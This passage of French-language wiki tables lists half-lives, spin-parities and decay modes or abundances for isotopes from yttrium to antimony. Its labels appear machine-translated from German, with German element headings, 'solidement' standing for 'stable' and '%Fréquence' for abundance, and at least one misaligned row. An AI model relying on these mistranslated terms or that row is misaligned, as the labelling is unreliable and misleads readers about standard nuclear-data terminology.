|| 7.08 m || (9/2+ ) || %K+%β+=100 |- |83m1Y || 2.85 m || (3/2-) || %K+%β+=60 , %IT=40 |- |84Y || 4.6 s || 1+ || %K+%β+=100 |- |84m1Y || 39.5 m || (5-) || %K+%β+=100 |- |85Y || 2.68 h || (1/2) - || %K+%β+=100 |- |85m1Y || 4.86 h || 9/2+ || %K+%β+=100, %IT < 2E-3 |- |86Y || 14.74 h || 4- || %K+%β+=100 |- |86m1Y || 48 m || (8+ ) || %IT=99.31 , %K+%β+=0.69 |- |87Y || 79.8 h || 1/2- || %K+%β+=100 |- |87m1Y || 13.37 h || 9/2+ || %IT=98.43 , %K+%β+=1.57 |- |88Y || 106.65 d || 4- || %K+%β+=100 |- |88m1Y || 13.9 ms || (8) + || %IT=100 |- |89Y || solidement || 1/2- || %Fréquence=100 |- |89m1Y || 16.06 s || 9/2+ || %IT=100 |- |90Y || 64.00 h || 2- || %β-=100 |- |90m1Y || 3.19 h || 7+ || %IT=99.9982 , %β-=0.0018 |- |91Y || 58.51 d || 1/2- || %β-=100 |- |91m1Y || 49.71 m || 9/2+ || %IT=100, %β-<1.5 |- |92Y || 3.54 h || 2- || %β-=100 |- |93Y || 10.18 h || 1/2- || %β-=100 |- |93m1Y || 0.82 s || 7/2+ || %IT=100 |- |94Y || 18.7 m || 2- || %β-=100 |- |95Y || 10.3 m || 1/2- || %β-=100 |- |96Y || 5.34 s || 0- || %β-=100 |- |96m1Y || 9.6 s || (8+ ) || %β- ~ 100 |- |97Y || 3.75 s || (1/2-) || %β-=100, %β-n=0.055 |} ==[[Zirkonium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |81Zr || 15 s || || %K+%β+=100, %Kp=? |- |82Zr || 32 s || 0+ || %K+%β+=100 |- |83Zr || 44 s || (1/2-) || %K+%β+=100, %Kp=? |- |84Zr || 25.9 m || 0+ || %K+%β+=100 |- |85Zr || 7.86 m || 7/2+ || %K+%β+=100 |- |85m1Zr || 10.9 s || (1/2-) || %K+%β+ > 8, %IT < 92 |- |86Zr || 16.5 h || 0+ || %K+%β+=100 |- |87Zr || 1.68 h || (9/2) + || %K+%β+=100 |- |87m1Zr || 14.0 s || (1/2) - || %IT=100 |- |88Zr || 83.4 d || 0+ || %K=100 |- |89Zr || 78.41 h || 9/2+ || %K+%β+=100 |- |89m1Zr || 4.18 m || 1/2- || %K+%β+=6.23 , %IT=93.77 |- |90Zr || solidement || 0+ || %Fréquence=51.45 |- |90m1Zr || 809.2 ms || 5- || %IT=100 |- |91Zr || solidement || 5/2+ || %Fréquence=11.22 |- |92Zr || solidement || 0+ || %Fréquence=17.15 |- |93Zr || 1.53e+6 a || 5/2+ || %β-=100 |- |94Zr || solidement || 0+ || %Fréquence=17.38 |- |95Zr || 64.02 d || 5/2+ || %β-=100 |- |96Zr || 3.8e19 a || 0+ || %Fréquence=2.80, %β- β-=100 |- |97Zr || 16.91 h || 1/2+ || %β-=100 |- |98Zr || 30.7 s || 0+ || %β-=100 |- |99Zr || 2.1 s || (1/2+ ) || %β-=100 |- |100Zr || 7.1 s || 0+ || %β-=100 |- |101Zr || 2.3 s || (3/2+ ) || %β-=100 |- |102Zr || 2.9 s || 0+ || %β-=100 |- |103Zr || 1.3 s || (5/2-) || %β-=100 |- |104Zr || 1.2 s || 0+ || %β-=100 |} ==[[Niob]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |83Nb || 4.1 s || (5/2+ ) || %K+%β+=100 |- |84Nb || 12 s || 3+ || %K+%β+=100, %Kp=? |- |85Nb || 20.9 s || (9/2+ ) || %K+%β+=100 |- |86Nb || 88 s || (5+ ) || %K+%β+=100 |- |86m1Nb || 56 s || || %K+%β+=100 |- |87Nb || 2.6 m || (9/2+ ) || %K+%β+=100 |- |87m1Nb || 3.7 m || (1/2-) || %K+%β+=100 |- |88Nb || 14.5 m || (8+ ) || %K+%β+=100 |- |88m1Nb || 7.8 m || (4-) || %K+%β+=100 |- |89Nb || 1.9 h || (9/2+ ) || %K+%β+=100 |- |89m1Nb || 1.18 h || (1/2) - || %K+%β+=100 |- |90Nb || 14.60 h || 8+ || %K+%β+=100 |- |90m1Nb || 18.81 s || 4- || %IT=100 |- |90m2Nb || 6.19 ms || 1+ || %IT=100 |- |91Nb || 680 a || 9/2+ || %K+%β+=100 |- |91m1Nb || 60.86 d || 1/2- || %IT=93 , %K+%β+=7 |- |92Nb || 3.47e+7 a || (7) + || %K+%β+=100, %β- < 0.05 |- |92m1Nb || 10.15 d || (2) + || %K+%β+=100 |- |93Nb || solidement || 9/2+ || %Fréquence=100 |- |93m1Nb || 16.13 a || 1/2- || %IT=100 |- |94Nb || 2.03e+4 a || (6) + || %β-=100 |- |94m1Nb || 6.263 m || 3+ || %IT=99.50 , %β-=0.50 |- |95Nb || 34.975 d || 9/2+ || %β-=100 |- |95m1Nb || 86.6 h || 1/2- || %β-=5.6 , %IT=94.4 |- |96Nb || 23.35 h || 6+ || %β-=100 |- |97Nb || 72.1 m || 9/2+ || %β-=100 |- |97m1Nb || 52.7 s || 1/2- || %IT=100 |- |98Nb || 2.86 s || 1+ || %β-=100 |- |98m1Nb || 51.3 m || (5+ ) || %β-=99.9 , %IT < 0.2 |- |99Nb || 15.0 s || 9/2+ || %β-=100 |} ==[[Molybdène]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |86Mo || 19.6 s || 0+ || %K+%β+=100 |- |87Mo || 13.4 s || (7/2+ ) || %K+%β+=100, %β+P=? |- |88Mo || 8.0 m || 0+ || %K+%β+=100 |- |89Mo || 2.04 m || (9/2+ ) || %K+%β+=100 |- |89m1Mo || 190 ms || (1/2-) || %IT=100 |- |90Mo || 5.56 h || 0+ || %K+%β+=100 |- |91Mo || 15.49 m || 9/2+ || %K+%β+=100 |- |91m1Mo || 65.0 s || 1/2- || %K+%β+=49.9 , %IT=50.1 |- |92Mo || solidement || 0+ || %Fréquence=14.84 |- |93Mo || 4.0e+3 a || 5/2+ || %K=100 |- |93m1Mo || 6.85 h || 21/2+ || %IT=99.88 , %K+%β+=0.12 |- |94Mo || solidement || 0+ || %Fréquence=9.25 |- |95Mo || solidement || 5/2+ || %Fréquence=15.92 |- |96Mo || solidement || 0+ || %Fréquence=16.68 |- |97Mo || solidement || 5/2+ || %Fréquence=9.55 |- |98Mo || solidement || 0+ || %Fréquence=24.13 |- |99Mo || 65.94 h || 1/2+ || %β-=100 |- |100Mo || 1.00e+19 a || 0+ || %Fréquence=9.63, %ββ=100 |- |101Mo || 14.61 m || 1/2+ || %β-=100 |- |102Mo || 11.3 m || 0+ || %β-=100 |- |103Mo || 67.5 s || (3/2+ ) || %β-=100 |- |104Mo || 60 s || 0+ || %β-=100 |- |105Mo || 35.6 s || (5/2-) || %β-=100 |- |106Mo || 8.4 s || 0+ || %β-=100 |- |107Mo || 3.5 s || || %β-=100 |- |108Mo || 1.09 s || 0+ || %β-=100 |- |109Mo || 0.53 s || || %β-=100 |- |110Mo || 0.30 s || 0+ || %β-=100 |} ==[[Technetium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |88Tc || 6.4 s || (6,7,8) || %K+%β+=100 |- |88m1Tc || 5.8 s || (2,3) || %K+%β+=100 |- |89Tc || 12.8 s || (9/2+ ) || %K+%β+=100 |- |89m1Tc || 12.9 s || (1/2-) || %K+%β+=100 |- |90Tc || 49.2 s || (8+ ) || %K+%β+=100 |- |90m1Tc || 8.7 s || 1+ || %K+%β+=100 |- |91Tc || 3.14 m || (9/2) + || %K+%β+=100 |- |91m1Tc || 3.3 m || (1/2) - || %K+%β+=100, %IT<1 |- |92Tc || 4.23 m || (8) + || %K+%β+=100 |- |93Tc || 2.75 h || 9/2+ || %K+%β+=100 |- |93m1Tc || 43.5 m || 1/2- || %IT=76.6 , %K+%β+=23.4 |- |94Tc || 293 m || 7+ || %K+%β+=100 |- |94m1Tc || 52.0 m || (2) + || %K+%β+=100, %IT<0.1 |- |95Tc || 20.0 h || 9/2+ || %K+%β+=100 |- |95m1Tc || 61 d || 1/2- || %K+%β+=96.12 , %IT=3.88 |- |96Tc || 4.28 d || 7+ || %K+%β+=100 |- |96m1Tc || 51.5 m || 4+ || %IT=98.0 , %K+%β+=2.0 |- |97Tc || 2.6e6 a || 9/2+ || %K=100 |- |97m1Tc || 90.1 d || 1/2- || %IT=100, %K<0.34 |- |98Tc || 4.2e+6 a || (6) + || %β-=100 |- |99Tc || 2.111e+5 a || 9/2+ || %β-=100 |- |99m1Tc || 6.01 h || 1/2- || %IT=99.9963 , %β-=0.0037 |- |100Tc || 15.8 s || 1+ || %β-=99.9982 , %K=0.0018 |- |101Tc || 14.22 m || 9/2+ || %β-=100 |- |102Tc || 5.28 s || 1+ || %β-=100 |- |102m1Tc || 4.35 m || (4,5) || %β-=98 , %IT=2 |- |103Tc || 54.2 s || 5/2+ || %β-=100 |- |104Tc || 18.3 m || (3+ ) || %β-=100 |- |105Tc || 7.6 m || (3/2-) || %β-=100 |} ==[[Ruthenium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |90Ru || 11 s || 0+ || %K+%β+=100 |- |91Ru || 9 s || (9/2+ ) || %K+%β+=100 |- |91m1Ru || 7.6 s || (1/2-) || %K+%β+=?, %Kp=?, %IT=? |- |92Ru || 3.65 m || 0+ || %K+%β+=100 |- |93Ru || 59.7 s || (9/2) + || %K+%β+=100 |- |93m1Ru || 10.8 s || (1/2) - || %IT=22.0 , %K+%β+=78.0 , %Kp=0.027 |- |94Ru || 51.8 m || 0+ || %K+%β+=100 |- |95Ru || 1.643 h || 5/2+ || %K+%β+=100 |- |96Ru || solidement || 0+ || %Fréquence=5.52 |- |97Ru || 2.9 d || 5/2+ || %K=100 |- |98Ru || solidement || 0+ || %Fréquence=1.88 |- |99Ru || solidement || 5/2+ || %Fréquence=12.7 |- |100Ru || solidement || 0+ || %Fréquence=12.6 |- |101Ru || solidement || 5/2+ || %Fréquence=17.0 |- |102Ru || solidement || 0+ || %Fréquence=31.6 |- |103Ru || 39.26 d || 3/2+ || %β-=100 |- |103m1Ru || 1.69 ms || 11/2- || %IT=100 |- |104Ru || solidement || 0+ || %Fréquence=18.7 |- |105Ru || 4.44 h || 3/2+ || %β-=100 |- |106Ru || 373.59 d || 0+ || %β-=100 |- |107Ru || 3.75 m || (5/2) + || %β-=100 |- |108Ru || 4.55 m || 0+ || %β-=100 |- |109Ru || 34.5 s || (5/2+ ) || %β-=100 |- |110Ru || 14.6 s || 0+ || %β-=100 |- |111Ru || 2.12 s || || %β-=100 |- |112Ru || 1.75 s || 0+ || %β-=100 |- |113Ru || 0.80 s || || %β-=100 |- |114Ru || 0.53 s || 0+ || %β-=100 |- |115Ru || 0.40 s || || %β-=100, %β-n=? |} ==[[Rhodium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |94Rh || 70.6 s || (3+ ) || %K+%β+=100, %Kp=1.8 |- |94m1Rh || 25.8 s || (8+ ) || %K+%β+=100 |- |95Rh || 5.02 m || (9/2) + || %K+%β+=100 |- |95m1Rh || 1.96 m || (1/2) - || %K+%β+=12 , %IT=88 |- |96Rh || 9.90 m || 6+ || %K+%β+=100 |- |96m1Rh || 1.51 m || 3+ || %IT=60 , %K+%β+=40 |- |97Rh || 30.7 m || (9/2) + || %K+%β+=100 |- |97m1Rh || 46.2 m || (1/2) - || %K+%β+=94.4 , %IT=5.6 |- |98Rh || 8.7 m || (2) + || %K+%β+=100 |- |98m1Rh || 3.5 m || (5+ ) || %K+%β+>0, %IT=? |- |99Rh || 16.1 d || 1/2- || %K+%β+=100 |- |99m1Rh || 4.7 h || 9/2+ || %K+%β+ > 99.84 , %IT<0.16 |- |100Rh || 20.8 h || 1- || %K+%β+=100 |- |100m1Rh || 4.6 m || (5+ ) || %IT ~ 98.3, %K+%β+ ~ 1.7 |- |101Rh || 3.3 a || 1/2- || %K=100 |- |101m1Rh || 4.34 d || 9/2+ || %K=92.80 , %IT=7.20 |- |102Rh || 207 d || (1- ,2-) || %β-=20 , %K+%β+=80 |- |102m1Rh || 2.9 a || 6(+) || %K+%β+=99.767 , %IT=0.233 |- |103Rh || solidement || 1/2- || %Fréquence=100 |- |103m1Rh || 56.12 m || 7/2+ || %IT=100 |- |104Rh || 42.3 s || 1+ || %β-= 99.55 , %K+%β+= 0.45 |- |104m1Rh || 4.34 m || 5+ || %IT=99.87 , %β-=0.13 |- |105Rh || 35.36 h || 7/2+ || %β-=100 |- |105m1Rh || 45 s || 1/2- || %IT=100 |- |106Rh || 29.80 s || 1+ || %β-=100 |- |106m1Rh || 131 m || (6) + || %β-=100 |- |107Rh || 21.7 m || 7/2+ || %β-=100 |- |108Rh || 16.8 s || 1+ || %β-=100 |- |108m1Rh || 6.0 m || (5+ ) || %β-=100 |- |109Rh || 80 s || 7/2+ || %β-=100 |} ==[[Palladium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |96Pd || 122 s || 0+ || %K+%β+=100 |- |97Pd || 3.10 m || (5/2+ ) || %K+%β+=100 |- |98Pd || 17.7 m || 0+ || %K+%β+=100 |- |99Pd || 21.4 m || (5/2) + || %K+%β+=100 |- |100Pd || 3.63 d || 0+ || %K=100 |- |101Pd || 8.47 h || 5/2+ || %K+%β+=100 |- |102Pd || solidement || 0+ || %Fréquence=1.02 |- |103Pd || 16.991 d || 5/2+ || %K=100 |- |104Pd || solidement || 0+ || %Fréquence=11.14 |- |105Pd || solidement || 5/2+ || %Fréquence=22.33 |- |106Pd || solidement || 0+ || %Fréquence=27.33 |- |107Pd || 6.5e+6 a || 5/2+ || %β-=100 |- |107m1Pd || 21.3 s || 11/2- || %IT=100 |- |108Pd || solidement || 0+ || %Fréquence=26.46 |- |109Pd || 13.7012 h || 5/2+ || %β-=100 |- |109m1Pd || 4.696 m || 11/2- || %IT=100 |- |110Pd || solidement || 0+ || %Fréquence=11.72 |- |111Pd || 23.4 m || 5/2+ || %β-=100 |- |111m1Pd || 5.5 h || 11/2- || %IT=73 , %β-=27 |- |112Pd || 21.03 h || 0+ || %β-=100 |- |113Pd || 93 s || (5/2+ ) || %β-=100 |- |113m1Pd || 100 s || || %β-=? |- |113m2Pd || 0.3 s || (9/2-) || %IT=100 |- |114Pd || 2.42 m || 0+ || %β-=100 |- |115Pd || 25 s || (5/2+ ) || %β-=100 |- |115m1Pd || 50 s || (11/2-) || %β-=92.0 , %IT=8.0 |- |116Pd || 11.8 s || 0+ || %β-=100 |- |117Pd || 4.3 s || (5/2+ ) || %β-=100 |- |117m1Pd || 19.1 ms || (11/2-) || %IT=100 |- |118Pd || 1.9 s || 0+ || %β-=100 |- |119Pd || 0.92 s || || %β-=100 |- |120Pd || 0.5 s || 0+ || %β-=100 |} ==[[Argent]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |94Ag || 10 ms || 0+ || %K+%β+=100 |- |94m1Ag || 0.42 s || (9+ ) || %K+%β+=100, %Kp=? |- |95Ag || 2.0 s || || %K+%β+=100, %Kp=? |- |96Ag || 5.1 s || (8+ , 9+ ) || %K+%β+=100, %Kp=8.0 |- |97Ag || 19 s || (9/2+ ) || %K+%β+=100 |- |98Ag || 46.7 s || (5+ ) || %K+%β+=100 |- |99Ag || 124 s || (9/2) + || %K+%β+=100 |- |99m1Ag || 10.5 s || (1/2-) || %IT=100 |- |100Ag || 2.01 m || (5) + || %K+%β+=100 |- |100m1Ag || 2.24 m || (2) + || %K+%β+=?, %IT=? |- |101Ag || 11.1 m || 9/2+ || %K+%β+=100 |- |101m1Ag || 3.10 s || (1/2) - || %IT=100 |- |102Ag || 12.9 m || 5+ || %K+%β+=100 |- |102m1Ag || 7.7 m || 2+ || %IT=49 , %K+%β+=51 |- |103Ag || 65.7 m || 7/2+ || %K+%β+=100 |- |103m1Ag || 5.7 s || 1/2- || %IT=100 |- |104Ag || 69.2 m || 5+ || %K+%β+=100 |- |104m1Ag || 33.5 m || 2+ || %K+%β+=100, %IT < 0.07 |- |105Ag || 41.29 d || 1/2- || %K+%β+=100 |- |105m1Ag || 7.23 m || 7/2+ || %IT=99.66 , %K+%β+=0.34 |- |106Ag || 23.96 m || 1+ || %K+β+=99.5 , %β- < 1 |- |106m1Ag || 8.28 d || 6+ || %K+β+=100 |- |107Ag || solidement || 1/2- || %Fréquence=51.839 |- |107m1Ag || 44.3 s || 7/2+ || %IT=100 |- |108Ag || 2.37 m || 1+ || %β-=97.15 , %K+%β+=2.85 |- |108m1Ag || 418 a || 6+ || %IT=8.7 , %K+%β+=91.3 |- |109Ag || solidement || 1/2- || %Fréquence=48.161 |- |109m1Ag || 39.6 s || 7/2+ || %IT=100 |- |110Ag || 24.6 s || 1+ || %β-=99.70 , %K=0.30 |- |110m1Ag || 249.79 d || 6+ || %β-=98.64 , %IT=1.36 |- |111Ag || 7.45 d || 1/2- || %β-=100 |- |111m1Ag || 64.8 s || 7/2+ || %IT=99.3, %β-=0.7 |- |112Ag || 3.130 h || 2(-) || %β-=100 |- |113Ag || 5.37 h || 1/2- || %β-=100 |- |113m1Ag || 68.7 s || 7/2+ || %IT= 64 , %β-=36 |- |114Ag || 4.6 s || 1+ || %β-=100 |- |114m1Ag || 1.50 ms || (LE 6+ ) || %IT=100 |- |115Ag || 20.0 m || 1/2- || %β-=100 |- |115m1Ag || 18.0 s || 7/2+ || %β-=79.0 , %IT=21.0 |- |116Ag || 2.68 m || (2) - || %β-=100 |- |116m1Ag || 8.6 s || (5+ ) || %IT=6.0 , %β-=94.0 |- |117Ag || 72.8 s || (1/2-) || %β-=100 |- |117m1Ag || 5.34 s || (7/2+ ) || %β-=94.0 , %IT=6.0 |- |118Ag || 3.76 s || (1) - || %β-=100 |- |118m1Ag || 2.0 s || (4) + || %β-=59, %IT=41 |- |119Ag || 2.1 s || (7/2+ ) || %β-=100 |- |119m1Ag || 6.0 s || (1/2-) || %β-=100 |- |120Ag || 1.23 s || (3+ ) || %β-=100 |- |120m1Ag || 0.32 s || (6-) || %β- ~ 63, %IT ~ 37 |- |121Ag || 0.78 s || (7/2+ ) || %β-=100 , %β-n=0.080 |- |122Ag || 0.48 s || (3+ ) || %β-=100, %β-n=? |- |122m1Ag || 1.5 s || || %β-=100 |- |123Ag || 0.309 s || (7/2+ ) || %β-=100, %β-n=55 |- |124Ag || 0.172 s || || %β-=100 , %β-N > 0.1 |- |125Ag || 166 ms || || %β-=100, %β-n=? |- |126Ag || 107 ms || || %β-=100 |- |127Ag || 109 ms || || %β-=100 |- |128Ag || 58 ms || || %β-=100, %β-n=? |} ==[[Cadmium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |97Cd || 3 s || || %K+%β+=100, %Kp=? |- |98Cd || 9.2 s || 0+ || %K+%β+=100 |- |99Cd || 16 s || (5/2+ ) || %K+%β+=100, %Kp=0.17 +11-5, %Kα<1E-4 |- |100Cd || 49.1 s || 0+ || %K+%β+=100 |- |101Cd || 1.36 m || (5/2+ ) || %K+%β+=100 |- |102Cd || 5.5 m || 0+ || %K+%β+=100 |- |103Cd || 7.3 m || (5/2+ ) || %K+%β+=100 |- |104Cd || 57.7 m || 0+ || %K+%β+=100 |- |105Cd || 55.5 m || 5/2+ || %K+%β+ =100 |- |106Cd || solidement || 0+ || %Fréquence=1.25 |- |107Cd || 6.50 h || 5/2+ || %K+%β+=100 |- |108Cd || solidement || 0+ || %Fréquence=0.89 |- |109Cd || 462.6 d || 5/2+ || %K=100 |- |110Cd || solidement || 0+ || %Fréquence=12.49 |- |111Cd || solidement || 1/2+ || %Fréquence=12.80 |- |111m1Cd || 48.54 m || 11/2- || %IT=100 |- |112Cd || solidement || 0+ || %Fréquence=24.13 |- |113Cd || 7.7e+15 a || 1/2+ || %Fréquence=12.22, %β-=100 |- |113m1Cd || 14.1 a || 11/2- || %β-=99.86, %IT=0.14 |- |114Cd || solidement || 0+ || %Fréquence=28.73 |- |115Cd || 53.46 h || 1/2+ || %β-=100 |- |115m1Cd || 44.6 d || 11/2- || %β-=100 |- |116Cd || solidement || 0+ || %Fréquence=7.49 |- |117Cd || 2.49 h || 1/2+ || %β-=100 |- |117m1Cd || 3.36 h || (11/2) - || %β-=100 |- |118Cd || 50.3 m || 0+ || %β-=100 |- |119Cd || 2.69 m || 3/2+ || %β-=100 |- |119m1Cd || 2.20 m || (11/2-) || %β-=100 |- |120Cd || 50.80 s || 0+ || %β-=100 |- |121Cd || 13.5 s || (3/2+ ) || %β-=100 |- |121m1Cd || 8.3 s || (11/2-) || %β-=100 |- |122Cd || 5.24 s || 0+ || %β-=100 |- |123Cd || 2.10 s || (3/2) + || %β-=100 |- |123m1Cd || 1.82 s || (11/2-) || %β-=100 |- |124Cd || 1.25 s || 0+ || %β-=100 |- |125Cd || 0.65 s || (3/2+ ) || %β-=100 |- |125m1Cd || 0.57 s || (11/2-) || %β-=100 |- |126Cd || 0.506 s || 0+ || %β-=100 |- |127Cd || 0.37 s || (3/2+ ) || %β-=100 |- |128Cd || 0.34 s || 0+ || %β-=100 |- |129Cd || 0.27 s || (3/2+ ) || %β-=100 |- |130Cd || 0.20 s || 0+ || %β-=100 , %β-N ~ 4 |} ==[[Indium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |100In || 7.0 s || || %K+%β+=100, %Kp>3.9 |- |101In || 15.1 s || || %K+%β+ ~ 100, %Kp=? |- |102In || 22 s || (6+ ) || %K+%β+=100, %Kp=0.0093 |- |103In || 65 s || (9/2) + || %K+%β+=100 |- |103m1In || 34 s || (1/2-) || %K+%β+=67, %IT=33 |- |104In || 1.80 m || (6+ ) || %K+%β+=100 |- |104m1In || 15.7 s || (3+ ) || %IT=80, %K+%β+=20 |- |105In || 5.07 m || (9/2) + || %K+%β+=100 |- |105m1In || 48 s || (1/2) - || %IT=100 |- |106In || 6.2 m || 7+ || %K+%β+=100 |- |106m1In || 5.2 m || (3+ ) || %K+%β+=100 |- |107In || 32.4 m || 9/2+ || %K+%β+=100 |- |107m1In || 50.4 s || 1/2- || %IT=100 |- |108In || 58.0 m || 7+ || %K+%β+=100 |- |108m1In || 39.6 m || 2+ || %K+%β+=100 |- |109In || 4.2 h || 9/2+ || %K+%β+=100 |- |109m1In || 1.34 m || 1/2- || %IT=100 |- |109m2In || 0.209 s || (19/2+ ) || %IT=100 |- |110In || 4.9 h || 7+ || %K+%β+=100 |- |110m1In || 69.1 m || 2+ || %K+%β+=100 |- |111In || 2.8047 d || 9/2+ || %K=100 |- |111m1In || 7.7 m || 1/2- || %IT=100 |- |112In || 14.97 m || 1+ || %β-=44 , %K+%β+=56 |- |112m1In || 20.56 m || 4+ || %IT=100 |- |113In || solidement || 9/2+ || %Fréquence=4.3 |- |113m1In || 1.6582 h || 1/2- || %IT=100 |- |114In || 71.9 s || 1+ || %β-=99.50 , %K+%β+=0.50 |- |114m1In || 49.51 d || 5+ || %IT=96.75 , %K+%β+=3.25 |- |114m2In || 43.1 ms || 8- || %IT=100 |- |115In || 4.41e+14 a || 9/2+ || %Fréquence=95.7, %β-=100 |- |115m1In || 4.486 h || 1/2- || %IT=95.0 , %β-=5.0 |- |116In || 14.10 s || 1+ || %β- > 99.94 , %K < 0.06 |- |116m1In || 54.29 m || 5+ || %β-=100 |- |116m2In || 2.18 s || 8- || %IT=100 |- |117In || 43.2 m || 9/2+ || %β-=100 |- |117m1In || 116.2 m || 1/2- || %β-=52.9 , %IT=47.1 |- |118In || 5.0 s || 1+ || %β-=100 |- |118m1In || 4.45 m || 5+ || %β-=100 |- |118m2In || 8.5 s || 8- || %β-=1.4 , %IT=98.6 |- |119In || 2.4 m || 9/2+ || %β-=100 |- |119m1In || 18.0 m || 1/2- || %β-=94.4 , %IT=5.6 |- |120In || 3.08 s || 1+ || %β-=100 |- |120m1In || 46.2 s || (3,4,5) + || %β-=100 |- |120m2In || 47.3 s || (8-) || %β-=100 |- |121In || 23.1 s || 9/2+ || %β-=100 |- |121m1In || 3.88 m || 1/2- || %β-=98.8 , %IT=1.2 |- |122In || 1.5 s || 1+ || %β-=100 |- |122m1In || 10.3 s || 5+ || %β-=100 |- |122m2In || 10.8 s || 8- || %β-=100 |- |123In || 5.98 s || 9/2+ || %β-=100 |- |123m1In || 47.8 s || 1/2- || %β-=100 |- |124In || 3.11 s || 3+ || %β-=100 |- |124m1In || 3.7 s || (8-) || %β-=100 |- |125In || 2.36 s || 9/2(+) || %β-=100 |- |125m1In || 12.2 s || 1/2(-) || %β-=100 |- |126In || 1.60 s || 3(+) || %β-=100 |- |126m1In || 1.64 s || || 7- ,8- ,9- %β-=100 |- |127In || 1.09 s || (9/2+ ) || %β-=100, %β-N < 0.03 |- |127m1In || 3.67 s || (1/2-) || %β-=100, %β-n=0.69 |- |128In || 0.84 s || (3+ ) || %β-=100, %β-N < 0.04 |- |128m1In || 0.72 s || (8-) || %β-=100, %β-N < 0.04 |- |129In || 0.61 s || (9/2+ ) || %β-=100, %β-n=0.25 |- |129m1In || 1.23 s || (1/2-) || %β- > 99.7, %β-n=2.5 , %IT < 0.3 |- |130In || 0.32 s || 1(-) || %β-=100 , %β-n=0.90 |- |130m1In || 0.55 s || (10- ) || %β-=100 , %β-N < 1.67 |- |130m2In || 0.55 s || (5+ ) || %β-=100 , %β-N < 1.67 |- |131In || 0.282 s || (9/2+ ) || %β-=100, %β-N < 2.2 |- |131m1In || 0.35 s || (1/2-) || %β-=100, %β-N < 2.2 , %IT < 0.04 |- |131m2In || 0.32 s || (21/2+ ) || %β-=100, %β-N < 2.2 |- |132In || 0.201 s || (7-) || %β-=100 , %β-n=6.2 |- |133In || 180 ms || (9/2+ ) || %β-=100, %β-n=85 |- |134In || 138 ms || || %β-=100, %β-n=65 |} ==[[Zinn]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |100Sn || 0.94 s || 0+ || %K+%β+=100, %Kp < 17 |- |101Sn || 3 s || || %K+%β+=100, %Kp=? |- |102Sn || 4.5 s || 0+ || %K+%β+=100 |- |103Sn || 7 s || || %K+%β+=100 |- |104Sn || 20.8 s || 0+ || %K+%β+=100 |- |105Sn || 31 s || || %K+%β+=100, %β+P=? |- |106Sn || 115 s || 0+ || %K+%β+=100 |- |107Sn || 2.90 m || (5/2+ ) || %K+%β+=100 |- |108Sn || 10.30 m || 0+ || %K+%β+=100 |- |109Sn || 18.0 m || 5/2(+) || %K+%β+=100 |- |110Sn || 4.11 h || 0+ || %K=100 |- |111Sn || 35.3 m || 7/2+ || %K+%β+=100 |- |112Sn || solidement || 0+ || %Fréquence=0.97 |- |113Sn || 115.09 d || 1/2+ || %K+%β+=100 |- |113m1Sn || 21.4 m || 7/2+ || %IT=91.1 , %K+%β+=8.9 |- |114Sn || solidement || 0+ || %Fréquence=0.65 |- |115Sn || solidement || 1/2+ || %Fréquence=0.34 |- |116Sn || solidement || 0+ || %Fréquence=14.53 |- |117Sn || solidement || 1/2+ || %Fréquence=7.68 |- |117m1Sn || 13.60 d || 11/2- || %IT=100 |- |118Sn || solidement || 0+ || %Fréquence=24.23 |- |119Sn || solidement || 1/2+ || %Fréquence=8.59 |- |119m1Sn || 293.1 d || 11/2- || %IT=100 |- |120Sn || solidement || 0+ || %Fréquence=32.59 |- |121Sn || 27.06 h || 3/2+ || %β-=100 |- |121m1Sn || 55 a || 11/2- || %IT=77.6 , %β-=22.4 |- |122Sn || solidement || 0+ || %Fréquence=4.63 |- |123Sn || 129.2 d || 11/2- || %β-=100 |- |123m1Sn || 40.06 m || 3/2+ || %β-=100 |- |124Sn || solidement || 0+ || %Fréquence=5.79 |- |125Sn || 9.64 d || 11/2- || %β-=100 |- |125m1Sn || 9.52 m || 3/2+ || %β-=100 |- |126Sn || 1e+5 a || 0+ || %β-=100 |- |127Sn || 2.10 h || (11/2-) || %β-=100 |- |127m1Sn || 4.13 m || (3/2+ ) || %β-=100 |- |128Sn || 59.07 m || 0+ || %β-=100 |- |128m1Sn || 6.5 s || (7-) || %IT=100 |- |129Sn || 2.23 m || (3/2+ ) || %β-=100 |- |129m1Sn || 6.9 m || (11/2-) || %β-=100, %IT ~ 2E-4 |- |130Sn || 3.72 m || 0+ || %β-=100 |- |130m1Sn || 1.7 m || (7-) || %β-=100 |- |131Sn || 56.0 s || (3/2+ ) || %β-=100 |- |131m1Sn || 58.4 s || (11/2-) || %β-=100, %IT < 0.009 |- |132Sn || 39.7 s || 0+ || %β-=100 |- |133Sn || 1.45 s || (7/2-) || %β-=100, %β-n=0.08 |- |134Sn || 1.12 s || 0+ || %β-=100, %β-n=17 |} ==[[Antimoine]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |108Sb || 7.4 s || (4+ ) || %K+%β+=100, %Kp=? |- |109Sb || 17.0 s || (5/2+ ) || %K+%β+=100 |- |110Sb || 23.0 s || 3+ || %K+%β+=100 |- |111Sb || 75 s || (5/2+ ) || %K+%β+=100 |- |112Sb || 51.4 s || 3+ || %K+%β+=100 |- |113Sb || 6.67 m || 5/2+ || %K+%β+=100 |- |114Sb || 3.49 m || 3+ || %K+%β+=100 